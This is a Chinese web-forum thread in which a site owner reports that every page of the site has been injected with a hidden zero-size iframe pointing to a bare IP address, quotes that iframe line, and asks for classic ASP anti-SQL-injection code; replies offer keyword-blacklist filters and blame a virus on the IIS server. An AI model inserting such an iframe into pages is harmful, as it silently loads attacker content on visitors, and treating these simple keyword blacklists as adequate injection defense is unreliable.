网站被入侵修改,大家看我看看!
网站(www.68bj.cn)最近一些时间老被入侵,每个页面加有代码: <iframe src=http://125.91.14.111 width=0 height=0> </iframe> ,可能是SQL注入,或别的原因,我对程序不太精通,听说有一些代码防SQL注入攻击:但我加在CONN.ASP会提示出错,是不是还需要修改才可以,哪位帮个忙,我们这个网站应该加什么样的代码?
网上防注入代码:
dim sql_injdata
SQL_injdata = " '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare "
SQL_inj = split(SQL_Injdata, "| ")
If Request.QueryString <> " " Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))> 0 Then
Response.Write " <Script Language=****> alert( '天下电影联盟SQL通用防注入系统提示↓nn请不要在参数中包含非法字符尝试注入! ');history.back(-1) </Script> "
Response.end
end if
next
Next
End If
If Request.Form <> " " Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))> 0 Then
Response.Write " <Script Language=****> alert( '天下电影联盟SQL通用防注入系统提示↓nn请不要在参数中包含非法字符尝试注入!nnHTTP: //www.521movie.com ');history.back(-1) </Script> "
Response.end
end if
next
next
end if
------解决方案-------------------- '屏蔽通过表单攻击
for each item in request.form
stritem=lcase(server.HTMLEncode(Request.form(item)))
if instr(stritem, "select ")> =1 or instr(stritem, "insert ")> =1 or instr(stritem, "update ")> =1 or instr(stritem, "delete ")> =1 or instr(stritem, "exec ")> =1 or instr(stritem, "declare ")> =1 then
response.write ( "对不起,请不要输入非法字符! ")
response.end
end if
next
试下这个 我一直用的
------解决方案--------------------没有漏洞 是你的iis 也就是说你的服务器上有病毒 我以前也遇到过